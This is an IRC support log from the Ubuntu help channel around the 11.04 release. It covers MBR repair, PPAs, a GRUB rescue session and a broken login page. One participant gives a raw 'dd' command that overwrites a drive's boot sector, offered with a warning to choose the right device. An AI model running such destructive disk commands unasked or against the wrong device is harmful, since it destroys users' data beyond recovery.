[10:48] <mah454> I need libpoppler7 for ubuntu-11.04 ...
[10:48] <mah454> I need libpoppler7 for ubuntu-11.04 ...
[10:48] <usalabs> or, there is a DOS utility that can be run from a pen drive, called MBRtools
[10:49] <skiwithpete> I have a pen drive currently it has Mint on it
[10:49]  * KM0201 loves mbrfix
[10:49] <skiwithpete> is there anything in there that can help me?
[10:49] <ActionParsnip> !ppa | mah454
[10:49] <ubottu> mah454: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[10:49] <skiwithpete> mbrfix?  KM0201
[10:49] <KM0201> skiwithpete: no  windows mbr, is a windows mbr problem
[10:49] <skiwithpete> freedos have it?
[10:50] <KM0201> skiwithpete: its a utility to rebuild the MBR of windows, you were given the link above...  http://members.iinet.net.au/~herman546/p18.html#MbrFix.exe
[10:50] <zvacet> skiwithpete: if you still have windows read link I posted to you
[10:50] <KM0201> skiwithpete: i'm not familiar w/  freedos... but fixmbr and fixboot, are standard dos tools, so i would think so.
[10:50] <jetienne> WARNING: PPAs are unsupported third-party packages <- they mean "supported by third party"
[10:50] <maxillusionist> skiwithpete pull the HDD from the pc you need to sell then erase all
[10:50] <kellnola> skiwithpete, "dd if=/dev/zero of=/dev/hda bs=446 count=1" will delete the MBR (from linux, where "hda" is the drive you want to erase it on - make sure you get the right device)
[10:50] <jetienne> not nice to say other arent mataining their package
[10:50] <ojii> how do I change the language of my login screen?
[10:50] <KM0201> skiwithpete: if you want a pretty GUI app to rebuild your MBR.. google "Easus Partition Editor"... the freeware version has a easy to use MBR rebuilder
[10:51] <ThinkT510> mah454: why do you need libpoppler7? libpoppler13 is available in the repos
[10:52] <jetienne> where is the iso of the alternate install ?
[10:52] <mah454> ThinkT510 tnx :)
[10:52] <skiwithpete> whoa kellnola will that reinstate it as windows?
[10:52] <skiwithpete> KM0201, am going to try your solution first I think
[10:52] <kellnola> skiwithpete, no it will delete the MBR completely
[10:52] <jetienne> http://www.ubuntu.com/download/ubuntu/alternative-download <- alternate install got no .iso only .torrent ?
[10:52] <KM0201> jetienne: no, there's links to just the ISO
[10:53] <zvacet> jetienne: http://releases.ubuntu.com/natty/
[10:53] <jetienne> thanks
[10:53] <ThinkT510> !find libpoppler13 | mah454
[10:53] <ubottu> mah454: Found: libpoppler13
[10:53] <zvacet> jetienne: np
[10:53] <KM0201> jetienne: just keep in mind, thats a completely text based installer, but since you're putting it in vbox, it won't matter, just take the defaults for everything.
[10:53] <ThinkT510> !info libpoppler13 | mah454
[10:53] <ubottu> mah454: libpoppler13 (source: poppler): PDF rendering library. In component main, is optional. Version 0.16.4-0ubuntu1 (natty), package size 661 kB, installed size 1724 kB
[10:53] <mah454> OK tnx :)
[10:54] <ThinkT510> np
[10:54] <zvacet> KM0201: it is not that hard to install from alternate cd
[10:54] <KM0201> zvacet: its not difficult, but some find it more intimidating.
[10:55] <jetienne> KM0201: my goal is double 1. to install 11.04 to be able to maintain my ppa 2. to experiment rewritten X stuff
[10:55] <zvacet> KM0201:  just not eye  candy that is all
[10:55] <KM0201> jetienne: understood
[10:55] <KM0201> zvacet: i'm very familiar with it... and if you've been here any amount f time, there's moer than one user who did not want to use the live cd... so my point was valid.
[10:55] <KM0201> *alt cd
[10:56] <jetienne> usually i test in vm, it is simple, fast, easily removable if needed
[10:56] <zvacet> KM0201:  I believe that you are familiar with using alternate cd no argue with you about that
[10:57] <KM0201> zvacet: my point is, its not hard(i agree w/ you there)... however, a new user who knwos nothing about linux partitions, setting up their drive, etc.. it's going to be intimidating
[10:57] <jetienne> feedback "unable to test new stable ubuntu without dedicating a box to it"... wasnt a good idea
[10:57] <drdozer> hi - I just finished upgrading to natty and rebooted, and now I have: symbol not found: `grub_env_export´. and am at the grub rescue prompt
[10:58] <KM0201> jetienne: you keep saying "dedicating a box to it"... maybe there's a translation thats not coming across wel.. you don't have to dedicate a box to it.. you can dual boot the machine easily.
[10:58] <jetienne> KM0201: ok suppose you boot on 11.04... can you use the box for somehting else ?
[10:58] <KM0201> jetienne: dedicate implies that ubuntu would be the only OS on the computer... dual booting (between linux and windows, or various linux distros) is very easy
[10:59] <drdozer> what can I type into the grub rescue prompt to resurrect this machine?
[10:59] <zvacet> KM0201: Ithink that new users ask for more eye candy stuff until now alternate was only able to do upgrade
[10:59] <KM0201> !dualboot | jetienne
[10:59] <ubottu> jetienne: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/DualBoot/Windows - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot
[10:59] <jetienne> KM0201: when running 11.04, your box is doing only that, so it is dedicated to it
[10:59] <jetienne> KM0201: im well aware of dual boot :)
[10:59] <liunx> hello,
[10:59] <KM0201> jetienne: thats not really what that means... that would be a dedicated install, because the computer is stil capable of booting other OS's..
[10:59] <KM0201> jetienne: dedicated=only
[11:00] <liunx> how to show the tray on unity?
[11:00] <jetienne> KM0201: just a matter of working
[11:00] <KM0201> jetienne: well.. sorry, how you're saying it is not correct.
[11:00] <liunx> i want to use iptux etc, but when i close it, i can not see the tray on the up right frame.
[11:00] <jetienne> KM0201: 'when running 11.04, your box is doing only that, so it is dedicated to it' <- seems correct no ?
[11:01] <KM0201> jetienne: just as an example... if you were coming here asking for install help.. and you told thenm you were dedicating a machine to ubuntu.. you'd get instructions to completely wipe the drive and install only Ubuntu"... if you wanted to dual boot, you would lose windows.
[11:01] <drdozer> how can I get my machine working again?
[11:01] <ThinkT510> jetienne: not quite, you can install vms inside 11.04
[11:01] <jetienne> ThinkT510: hehe :)
[11:01] <KM0201> zvacet: the alt cd has been an installer for a long time.
[11:01] <KM0201> or did i misunderstand?
[11:01] <jetienne> KM0201: i understand your definition of dedicated.
[11:01] <jetienne> KM0201: relax this is just a matter of wording
[11:02] <KM0201> jetienne: its not my definition of dedicated.. its the english language definition of dedicated.. there's a huge difference in what you're saying, and the word dedicated... i just didn't want them confused.
[11:02] <jetienne> KM0201: 'when running 11.04, your box is doing only that, so it is dedicated to it' <- seems correct no ?
[11:02] <KM0201> jetienne: no, that is not correct
[11:02] <jetienne> KM0201: ok no arguement
[11:02] <ThinkT510> jetienne: stop trolling
[11:02] <jetienne> i gave my feedback
[11:02] <KM0201> that would be a dedicated install (that does not require windows to run)... as i said....
[11:02] <jetienne> ThinkT510: stop insulting
[11:03] <jetienne> ThinkT510: seriously, im being kind and all
[11:03] <jetienne> ThinkT510: so dont insulte me
[11:03] <KM0201> jetienne: a dedicated machine... is a machine(ie, entire computer) that is dedicated to ubuntu.
[11:03] <KM0201> i don't know how much more clear i can make it
[11:03] <jetienne> KM0201: relax i understood. you just considere the drive of the box
[11:03] <jetienne> KM0201: im considering the cpu this is nothing
[11:04] <ThinkT510> jetienne: i didn't mean to insult you, i apologise; but you are misusing the term dedicated
[11:04] <manu_44> Hello, could someone let me know where I can manage the FTP default handler on Natt Narwhal please ?
[11:04] <KM0201> jetienne: no i don't... i think there's a communicatino barrier here.. maybe you don't grasp what the word "dedicated" means
[11:04] <jetienne> KM0201: hehe ok
[11:04] <jetienne> ThinkT510: forgotten
[11:04] <jetienne> KM0201: no need to argue
[11:04] <dts> I keep getting my unity bar on the left frozen open, this sucks because a maximized window is covered by it on the left side. Any ideas how to reset unity and how to keep it from happening?
[11:05] <KM0201> jetienne: not arguing.. just telling you.. you're the one who has continued to push it.
[11:05] <KM0201> dn't need to argue when you're right..lol
[11:05] <ActionParsnip> dts: http://maketecheasier.com/autohide-unity-launcher-in-ubuntu-natty/2011/04/20
[11:05] <KM0201> i actually liked the unity launcher docked.
[11:05] <manu_44> is there a special channel concerning Natty Narwhal issues ?
[11:05] <ActionParsnip> manu_44: here
[11:05] <jetienne> KM0201: cool, so we disgaree :)
[11:05] <KM0201> manu_44: you're in it.
[11:05] <manu_44> aight
[11:05] <jetienne> installing with alternate
[11:06] <KM0201> jetienne: well, i've got webster dictionary on my side, so im comfortable with what i've said..
[11:06] <jetienne> KM0201: we are both confortable
[11:06] <manu_44> Firefox has been set as default FTP handler
[11:06] <ActionParsnip> jetienne: alternate iso just instals the desktop OS in a text environment rather than gui
[11:06] <manu_44> I just would likee Nautilus instead
[11:06] <manu_44> anyone able to help me ?
[11:06] <KM0201> manu_44: you mean the old gnome? (like in 10.10?)
[11:07] <manu_44> yep
[11:07] <ActionParsnip> manu_44: li
[11:07] <ActionParsnip> manu_44: http://ubuntuforums.org/showthread.php?t=313515
[11:07] <KM0201> manu_44: log out, and on "sessions" choose ubuntu classic
[11:07] <sachin> hi
[11:07] <mikebeecham> hi guys...is it possible to change the GDM in 11.04?
[11:07] <rzx237> why network-manager indicator on natty can't display multiple configuration of my wireless connection? is it a bug?
[11:07] <jetienne> ActionParsnip: yep,  i need it to install on virtual box apparently. some issue with ubuntu requiring 3D cards and virtual box not providing it
[11:07] <mikebeecham> never really liked the purple/orange stock one
[11:07] <sachin> i need help in installing gnome 3 in ubuntu 11.04
[11:07] <dts> ActionParsnip I like that it dodges windows, that setting is actually good, but it stops working after a while
[11:08] <manu_44> KM0201 : I did that already
[11:08] <KM0201> ActionParsnip: i don't think he actually wants nautilus (as unity uses nautilus)... i think he wants gnome 2.2
[11:08] <misse-> mikebeecham: do you just want to change the wallpaper for gdm or the whole theme?
[11:08] <KM0201> manu_44: and..?
[11:08] <ActionParsnip> jetienne: it can be enabled, its not going to be amazing 3D performance
[11:08] <skiwithpete> KM0201, areyou there?
[11:08] <mikebeecham> misse-, didnt know I could do either :D  How?
[11:08] <KM0201> skiwithpete: yes..
[11:08] <jetienne> ActionParsnip: oh ? you tried ? or got successfull story on it ?
[11:08] <ThinkT510> !gnome3 | sachin
[11:08] <ubottu> sachin: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[11:08] <manu_44> ActionParsnip : browsed this page already, without success, the ftp key doesn't appear and when i manually add it, it doesn't even work
[11:08] <sachin> hi
[11:08] <jetienne> ActionParsnip: or link. anything :)
[11:08] <ActionParsnip> jetienne: its going to be poor against a native linux app or even one running via wine
[11:08] <g4> is there an issue with 3d support in compiz for 11.04? I upgraded to 11.04 but it broke my old desktop.
[11:09] <geektech713> Need up getting Ubuntu 11.10 to install on atom CPU
[11:09] <skiwithpete> I've looked at the instructions... one thing concerns me - on the netbook partition 1 is actually a recovery disk
[11:09] <ActionParsnip> g4: what video chip do you use?
[11:09] <manu_44> KM0201 : and Firefox is the default FTP handler
[11:09] <skiwithpete> I want it to boot to partition 2 - XP
[11:09] <manu_44> can't manage to get Nautilus back instead
[11:09] <liunx>  hello,
[11:09] <sachin> i know but f they have provided the ppa,then there must be solution to run it.properly ,i guess
[11:09] <g4> ActionParsn: ati with ati catalyst driver
[11:09] <KM0201> skiwithpete: ok...
[11:09] <skiwithpete> is there a command to do that?
[11:09] <sachin> @linux-hi
[11:09] <liunx> how can i show the tray in the titile bar when i use iptux etc.?
[11:09] <ActionParsnip> g4: uninstall the catalyst, then reboot, then reinstall it. Proprietary drivers don't usually work after release changes
[11:10] <g4> ActionParsn: ok, thanks for the top
[11:10] <KM0201> skiwithpete: answer your PM.. i don't really follow what you're saying
[11:10] <ActionParsnip> manu_44: so the solution by lamelos doesn't solve it?
[11:11] <sachin> @ubottu-i know it,but why they provided it if it will break it.
[11:11] <ezrafree> hello
[11:11] <ActionParsnip> sachin: if you drop the @ character, it will highlight users correctly. Adding it makes it not work
[11:12] <amalgama> hello... i want to download a program, they give a ppa, which i add, but it says that it cant find a package with that name (after an update of course)... any ideas of what i might be doing wrong?
[11:12] <OfficiallyPC> Can I get the ratings and reviews in the Software Center in Maverick?
[11:12] <manu_44> ActionParsnip : no it does not
[11:12] <sachin> ubottu-i know it,but why they provided it if it will break it.
[11:12] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:12] <vibhav> <amalgama> please describe the problem more
[11:12] <vibhav> <amalgama> maybe i can help you
[11:13] <misse-> mikebeecham: you can either do it with some gconfhacking, but I think this is the easist way: gksudo -u gdm gnome-appearance-properties
[11:13] <sachin> thinkt510-i know it,but why they provided it if it will break it.
[11:13] <sachin> ppa
[11:13] <g4> ActionParsn, you wouldn't know easiest way to uninstall catalyst? Is it thru apt or do I need to run a script?
[11:13] <manu_44> the gnome ftp handler rule seems to have moved somewhere, but I can't figure out where
[11:14] <hero> after upgrading to 11.04 chromium fails to start. here's the error http://pastebin.com/whbabZEg I tried reinstalling ttf-mscorefonts-installer but still get this error. Also reinstalled chromium again but didn't help.
[11:14] <mikebeecham> misse-, I get this: (gnome-appearance-properties:22592): Gtk-WARNING **: cannot open display: :0
[11:14] <dasfefg> hello
[11:14] <dasfefg> i love gnome 3 more than unity
[11:14] <g4> nevermind, I found it, seems you can do it in "Aditional Drivers"
[11:14] <dasfefg> do you agree ?
[11:14] <dasfefg> ?
[11:14] <misse-> mikebeecham: well that's wierd. hang on
[11:14] <amalgama> i want  to download a music player called foobnix. I add the ppa they give (add-apt-repository ppa...etc), i run an update, but afterwards i cannot find the program in order to install it.. After adding the ppa, it returns :
[11:15] <amalgama> Executing: gpg --ignore-time-conflict --no-options --no-default-keyring --secret-keyring /etc/apt/secring.gpg --trustdb-name /etc/apt/trustdb.gpg --keyring /etc/apt/trusted.gpg --primary-keyring /etc/apt/trusted.gpg --keyserver hkp://keyserver.ubuntu.com:80/ --recv 1B9943C993BD8BC4DDC71C05EE7C02C4940617CB
[11:15] <amalgama> gpg: requesting key 940617CB from hkp server keyserver.ubuntu.com
[11:15] <amalgama> gpg: key 940617CB: "Launchpad PPA for Foobnix" not changed
[11:15] <amalgama> gpg: Total number processed: 1
[11:15] <FloodBot3> amalgama: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[11:15] <ThinkT510> sachin: you can install it, but its not guaranteed to work and you won't be able to get support if you do install it, as for why they provided a ppa it must have been requested by a few people, but is experimental (use at your own risk)
[11:15] <mikebeecham> misse-, will do
[11:15] <rzx237> manu_44: try ~/.local/share/applications/mimeapps.list
[11:15] <dasfefg> i love gnome 3 more than unity
[11:15] <dasfefg> do you agree
[11:15] <manu_44> ok
[11:15] <manu_44> yup
[11:15] <manu_44> me too
[11:15] <amalgama> sry for the cp/pst ppl
[11:15] <misse-> mikebeecham: http://www.ubuntu-tennessee.org/tutorials/205/ <-- that will make your loginscreen spawn the gnome-appearance windo, so just change the background and login, afterwards you can remove the .desktop from the folder
[11:15] <juniorsa> hi, I'm running 11.04 on a amd based hp laptop and it works fine, but then freezes when left unattended. it seems like the fan is on but it might be the power management, any suggestions?
[11:15] <ezrafree> if i upgrade to 11.04 will i have to use the Unity sidebar thing?
[11:15] <misse-> it's all in the tutorial
[11:15] <ezrafree> or can I disable Unity?
[11:16] <drdozer> hello?? my upgrade to natty has broken grub - I can´t boot
[11:16] <drdozer> how can I fix this?
[11:16] <dasfefg> i love gnome 3 more than unity
[11:16] <dasfefg> do you agree
[11:16] <g4> ezrafree: you can do an apt-get remove unity but I would excpect some more work to get things back to normal again
[11:16] <manu_44> rzx237 : it's not located there
[11:16] <ThinkT510> !classic | ezrafree
[11:16] <ubottu> ezrafree: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[11:16] <amalgama> vibhav:  i want  to download a music player called foobnix. I add the ppa they give (add-apt-repository ppa...etc), i run an update, but afterwards i cannot find the program in order to install it..
[11:16] <mikebeecham> misse-, thanks
[11:16] <misse-> drdozer: I would try to boot the install-cd again and look for a repair grub option
[11:17] <dasfefg> i love gnome 3 more than unity
[11:17] <dasfefg> do you agree
[11:17] <ezrafree> oh unity is a WM? (window manager?)
[11:17] <g4> That Ubuntu Classic login is not true, it didn't work for me
[11:17] <ezrafree> i see, thanks for the input
[11:17] <drdozer> misse-: I didn use the cd - I used the on-line update tool
[11:17] <g4> I had to remove unity as well
[11:17] <dasfefg> i love gnome 3 more than unity
[11:17] <dasfefg> do you agree
[11:17] <vibhav> <amalgama> try sudo apt-get install foobnix
[11:17] <misse-> mikebeecham: http://www.flickr.com/photos/jackyalcine/5381411916/ <-- gdm wallpaper suggestion
[11:18] <ThinkT510> dasfefg: do you have a problem that you need help with? if not can you take that to #ubuntu-offtopic
[11:18] <geektech713> any help with USB Ubuntu live CD /install?
[11:18] <misse-> drdozer: hmkay. either you burn a cd or you create an usb startup disk. Either way, you'll have to boot from some other medium to repare grub
[11:18] <amalgama> vibhav: i did.. also cache search ... nothing... and it seems wrong since i cannot find some1 having a similar problem with the ppa of foobnix
[11:18] <dasfefg> ThinkT510: i installed gnome 3
[11:19] <phoenixsampras> when i did an UPGRADE the laptop CRASHED, LOST ALL INFO
[11:19] <mikebeecham> misse-, thanks, now to get xchat issue sorted ;D
[11:19] <ThinkT510> dasfefg: congratulations
[11:19] <drdozer> misse-:  ok - it isn something I can fix by typing into the grub prompt?
[11:19] <misse-> mikebeecham: here's a solution for you: irssi
[11:19] <misse-> drdozer: depends on the grub error
[11:19] <amalgama> vibhav: after adding the ppa it returns http://pastebin.com/BjiTSYEQ
[11:19] <drdozer> error: symbol not found: `grub_env_export´.
[11:20] <drdozer> grub rescue>
[11:20] <KM0201> phoenixsampras: unfortunately, thats a danger of any upgrade, not just Linux.. there's plenty of documentation on bricked Windows installs from upgrade fails also.
[11:20] <drdozer> misse-: that´s all it says
[11:20] <misse-> drdozer: uhm. I wouldn't know what to type in the situation
[11:20] <mikebeecham> misse-, irssi?
[11:20] <phoenixsampras> KM0201: never my Windows got bricked
[11:21] <mikebeecham> misse-, thats' ugggg-llllyyyy
[11:21] <mikebeecham> :D
[11:21] <ThinkT510> !grub2 | drdozer
[11:21] <ubottu> drdozer: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[11:21] <KM0201> phoenixsampras: you're lucky... i've fixed more than one bad upgrade of windows
[11:21] <misse-> mikebeecham: my irssi aint ugly :P
[11:22] <mikebeecham> misse-, screen me up :D I'm an interface designer, so I'm feircly critical :D
[11:23] <vibhav> <amalgama> did you try sudo apt-get update?
[11:23] <misse-> mikebeecham: http://ender.misse.org/irssi.png
[11:23] <drdozer> grrr - how can natty be released and have problems like mine?
[11:23] <mikebeecham> misse-, thanks
[11:24] <amalgama> vibhav: yeah i did
[11:24] <ThinkT510> drdozer: are you at a grub rescue prompt?
[11:24] <misse-> mikebeecham: an interface designer ey, have I seen any of your work?
[11:24] <drdozer> ThinkT510: yes
[11:24] <juniorsa> anyone else have problems with an amd laptop when screensaver comes on sometimes it freezes, fan stays on?
[11:24] <mikebeecham> misse-, depends whether you use either Android, Plex on the Mac or XBMC
[11:25] <misse-> XBMC :'||||
[11:25] <misse-> and android
[11:25] <ThinkT510> drdozer: shall i walk you through how to boot again?
[11:25] <mikebeecham> misse-, http://mikebeecham.deviantart.com/gallery | http://behance.net/mikebeecham
[11:25] <Fleck> anyone can install fglrx on natty?
[11:25] <drdozer> ThinkT510: that would be awesome
[11:25] <mikebeecham> misse-, I designed MediaStream, have redesigned the DoggCatcher Podcast App, and a few other things...Aldiko, etc
[11:25] <ThinkT510> drdozer: first do you remember which partition you installed ubuntu to?
[11:26] <drdozer> ThinkT510: HDB but I can´t remember the number
[11:26] <tasslehoff> is there a way to toggle the meaning of the fn button?
[11:26] <susundberg> mikebeecham: wow!
[11:26] <ThinkT510> drdozer: no worries, we'll find out
[11:26] <mikebeecham> susundberg, ?
[11:26] <ThinkT510> drdozer: type ls
[11:27] <susundberg> those your works, they are very nice
[11:27] <ThinkT510> drdozer: what do you see?
[11:27] <misse-> mikebeecham: wow indeed :D
[11:27] <agronholm> hi, does anyone know how to make the unity launcher permanently visible?
[11:27] <drdozer> (hd0) (hd0,msdos5) (hd0,msdos1) (hd1) (hd1,msdos1)
[11:28] <agronholm> it doesn't always show when I move my mouse cursor to the left side of the screen
[11:28] <agronholm> so I would prefer it to be visible at all times
[11:28] <ThinkT510> drdozer: ok, type ls (hd1,msdos1)/
[11:28] <agronholm> I just can't find any setting to make that happen
[11:28] <ThinkT510> drdozer: what do you see?
[11:29] <drdozer> ThinkT510: error: unknown filesystem.
[11:29] <drdozer> ThinkT510: it seems to print that for all others
[11:30] <ThinkT510> drdozer: really? you tried them all?
[11:30] <boot> i install the latest version of ubuntu  but when i try to browse site i am getting Java Script Disabled on your browser. Please Enable it.
[11:30] <agronholm> ah, it was in compiz-settings.
[11:30] <boot> i check the firefox java is enabled in it
[11:30] <agronholm> boot: java has nothing to do with javascript
[11:31] <drdozer> ThinkT510: oh - it prints stuff out for: ls (hd0,msdos1)/
[11:31] <boot> how to solve this problem
[11:31] <boot> ?
[11:31] <rzx237> agronholm: I think I found it, gconf-editor to /apps/compiz-1/plugins/unityshell/screen0/option/autohide_animation, set launcher_hide_mode to "0"
[11:31] <boot> ?
[11:31] <ThinkT510> drdozer: what does it print out?
[11:31] <agronholm> rzx237: yeah it can be configured graphically too
[11:31] <agronholm> rzx237: http://askubuntu.com/questions/35963/how-to-make-unity-dock-always-visible
[11:31] <dasfefg> i love gnome 3 more than unity
[11:31] <dasfefg> do you agree
[11:32] <agronholm> from what I've heard of it, gnome 3 is a train wreck
[11:32] <boot> i even install java
[11:32] <boot> but the problem is till the same
[11:32] <agronholm> boot: are you not hearing/reading me
[11:32] <drdozer> drdozer: ./ ../ lost+found var/ etc/ ........ boot/ ...... home/ .... and so on - looks like a unix fs root
[11:32] <slide> Im having problems with xchat + unity bar, it keeps launching new copies instead of bringing the existing one to the front
[11:32] <boot> i don't have the problem with he older version of ubuntu
[11:32] <agronholm> boot: I already said java has nothing to do with javascript, so how do you figure installing Java would help with Javascript issues?
[11:32] <ThinkT510> drdozer: excellent, bear with me we'll type some commands..
[11:32] <boot> so what to do
[11:32] <boot> ?
[11:33] <Error404NotFound> how do i restore burg to be bootloader after grub overwrites it due to an update?
[11:33] <agronholm> boot: enable javascript in settings
[11:33] <agronholm> boot: in the content tab
[11:33] <boot> it all ready enabled in firefox
[11:33] <jibadeeha> slide, strange mine doesn't do that
[11:33] <agronholm> boot: then the website is probably doing something wrong -- what site is this?
[11:33] <ThinkT510> drdozer: first type: set prefix=(hd0,1)/boot/grub
[11:34] <ubuntu> hello - I installed ubuntu 2 times to my hard drive but after restarting my computer always windows is starting - no chance to select ubuntu somewhere.. any ideas?
[11:34] <KM0201> mikebeecham: little late to the party, but good job on the wallpapers... :)
[11:34] <ycat> hi! does anyone know of a software/script showing the status of KVM/libvirt/virsh for apache?
[11:34] <boot> the site address is this http://edudel.nic.in/mis/MisAdmin/frmMisLogin.aspx
[11:34] <popo> is there a photoshop equivalent for ubuntu?
[11:34] <mikebeecham> KM0201, thanks man...they were a little while ago now
[11:34] <boot> use any id and passwordsto login
[11:34] <drdozer> ThinkT510: done - nothing displayed
[11:34] <ThinkT510> drdozer: then type: set root=(hd0,1)
[11:34] <boot> u will get the error Java Script Disabled on your browser. Please Enable it.
[11:34] <agronholm> boot: yeah the website seems broken
[11:34] <agronholm> not much you can do about it
[11:34] <drdozer> ThinkT510: done
[11:35] <madsailor> popo: gimp
[11:35] <boot> but the site is working good in windows
[11:35] <madsailor> it's great
[11:35] <agronholm> boot: in firefox?
[11:35] <ThinkT510> drdozer: yeah, it shouldn't display anything yet, next type: insmod linux
[11:35] <popo> is there a good site for ubuntu compatible software?
[11:35] <boot> one more think i check the addons in firefox ubuntu there is no java there
[11:35] <drdozer> ThinkT510: error: symbol not found: `grub_mm_base´.
[11:35] <boot> but in windows firefox java is there in addons
[11:35] <agronholm> boot: for the last time, this has nothing to do with Java
[11:36] <naike> hi
[11:36] <geektech713> I need help with USB disk install of Ubuntu
[11:36] <boot> as opera chrome both are giving the same problem
[11:36] <madsailor> popo, you can find apps that do most things you's need in the software center under applications==>Ubuntu software center.  Many windows specific apps can be run under wine
[11:36] <popo> do i need to mount ausb  drive in ubuntu?
[11:36] <ThinkT510> drdozer: ah.. i don't know how to fix that, looks like grub needs to be reinstalled
[11:37] <geektech713> I did run the USB drive after restart
[11:37] <drdozer> ThinkT510: ok, and it can´t be reinstalled from within grub?
[11:37] <geektech713> did load up some but missing some files
[11:37] <agronholm> boot: the website has an error -- it's looking for the "txtPassword" element when it should be looking for "txtpassword"
[11:37] <ThinkT510> drdozer: not from a rescue prompt, as far as i know
[11:37] <naike> I have trouble finishing installing my ubuntu 11.04 I get this error at the end: Unable to install GRUBB in dev-sda (i created main partition and swap, I also have windows and other partitions on the hdd, totaling 5 partitions)
[11:37] <agronholm> boot: a simple programming error
[11:37] <geektech713> saying Casper/filesystem didnt mount
[11:37] <agronholm> not the fault of your browser
[11:37] <boot> but in windows the site is working perfectly ok
[11:38] <agronholm> boot: in firefox?
[11:38] <boot> yes
[11:38] <boot> in windows firefox,chrome,opera site is working perfectly but in ubuntu it is not working
[11:38] <drdozer> ThinkT510: thanks for trying to help - I guess I now have a 4 hour wait for the iso to download
[11:39] <jheyes> hi, should i upgrade my ubuntu distribution to natty 11.04? any issues i should worry about before upgrading?
[11:39] <slide> Is anyone else having problems with xchat + unity bar? XChat doesnt even show up at all
[11:39] <naike> yes jheyes what motherboard do you have
[11:39] <agronholm> boot: I just tried in Firefox 4.0.1 on Windows, it does not work
[11:39] <agronholm> boot: I get the same error
[11:39] <jheyes> naike: how do i find out?
[11:39] <vibhav> <jheyes> I recommend a fresh install
[11:39] <jheyes> vibhav: why a fresh install? does the upgrade not work very well?
[11:39] <naike> jheyes if you dont know chances are you dont have the same motherboard i have :P
[11:39] <KM0201> jheyes: upgrading always poses risks.
[11:40] <boot> it is working 4.0.1 in windows
[11:40] <jheyes> KM0201: do you recommend i stick with what i am running right now?
[11:40] <agronholm> boot: not for me
[11:40] <agronholm> boot: I don't get the error on IE8 though
[11:40] <ThinkT510> drdozer: no worries, i got stuck at a rescue prompt too, so i found the ubuntu wiki helpful, thats where i was getting the info to help you from
[11:40] <vibhav> <jheyes> It did not work well with me
[11:40] <KM0201> jheyes: no, i just recommend you always be prepared BEFORE upgrading.. so if something happens... you won't cry for days over lost data when you have to reinstall
[11:40] <vibhav> <jheyes> A fresh install is better
[11:40] <drMike> how can I restore all databases into mysql from one that was backed up via: mysqldump -A --add-drop-table -u root | gzip > $OUTFILE
[11:40] <jheyes> KM0201: you mean do a backup first?
[11:40] <boot> u need java version Version 6 Update 25
[11:41] <vibhav> <jheyes> yes
[11:41] <boot> then it will work in windows
[11:41] <KM0201> jheyes: i mean if you have important data on the machine, yes, back it up befor eupgrading
[11:41]  * KM0201 thought that was computer 101
[11:41] <vibhav> <jheyes> A fresh install has less chances of failure
[11:41] <jheyes> vibhav: okay i will back it up first
[11:41] <jheyes> thanks for the warning everyone!
[11:41] <KM0201> jheyes: but i do agree vibhav i always clean install.. i've not "upgraded" linux in 10yrs
[11:41] <ActionParsnip> KM0201: you'd be suprised how many have "important" data but zero backup
[11:42] <jheyes> KM0201: it is tempting to click that upgrade button though :)
[11:42] <KM0201> ActionParsnip: lol. it's obviously very "important"..lol
[11:42] <ActionParsnip> KM0201: exactly..people love learning the hard way
[11:42] <Browser> Hi
[11:42] <vibhav> <KM0201> A fresh install always gives you that "new computer feeling"
[11:42] <KM0201> jheyes: well, gotta use common sense.. remember, all computer problems start w/ the bozo pounding on the keys... :0
[11:42] <jheyes> KM0201: what are you running?
[11:43] <dasfefg> hi
[11:43] <KM0201> jheyes: lubuntu right now... i might switch back to debian, but i'm kinda digging lubuntu righ tnow
[11:43] <jheyes> KM0201: cool
[11:43] <agronholm> boot: fails here on firefox 4.0.1 with java 6 update 25
[11:43] <jheyes> KM0201: i'm on kubuntu 64-bit...
[11:44] <jheyes> KM0201: everything is working nicely so i don't want to ruin my setup by upgrading to 11.04
[11:44] <boot> but on my side in windows site is working perfectly but in ubuntu not
[11:44] <KM0201> jheyes: well, it really doesn't amtter what you're upgrading, if its linux or windows, or DOS.. you shoudl always backup prior to doing it
[11:44] <agronholm> boot: I cannot fix the site for you -- try any other site and you will see that javascript is enabled and working fine
[11:45] <KM0201> boot: can you providce a link?
[11:45] <agronholm> KM0201: http://edudel.nic.in/mis/MisAdmin/frmMisLogin.aspx
[11:45] <boot> yes
[11:45] <KM0201> boot: well, i get a User ID/Password screen.. but that does little good to check the problem
[11:45] <ActionParsnip> agronholm: loads here in Windows + Chrome
[11:46] <agronholm> KM0201: try any combination
[11:46] <boot> in internet explorer 8 the site is alo working perfectly ok
[11:46] <ActionParsnip> agronholm: Java Script Disabled on your browser. Please Enable it.
[11:46] <agronholm> ActionParsnip: so it doesn't work on chrome after all?
[11:46] <KM0201> agronholm: yup, thats what i got
[11:46] <champ__> Hello everybody. I am running ubuntu 10.10 with restricted exras installed. my problem is i am unable play videos apple.com,etc
[11:46] <boot> can u also check the site in internet explorer
[11:46] <ActionParsnip> agronholm: is that what you get? I'm on Chrome here
[11:46] <boot> ?
[11:46] <mun> hi
[11:46] <agronholm> ActionParsnip: yup, javascript disabled please enable
[11:47] <agronholm> on any browser other than IE
[11:47] <Jasonn> champ__: Do you have flash player installed?
[11:47] <ActionParsnip> champ__: add the medibuntu ppa and install w32codecs (I assume 32bit OS)
[11:47] <mun> if i've changed my ubuntu one password, how do i change it on my desktop? i can't seem to find a way to logout in the preferences.
[11:47] <champ__> Jasonn:yes
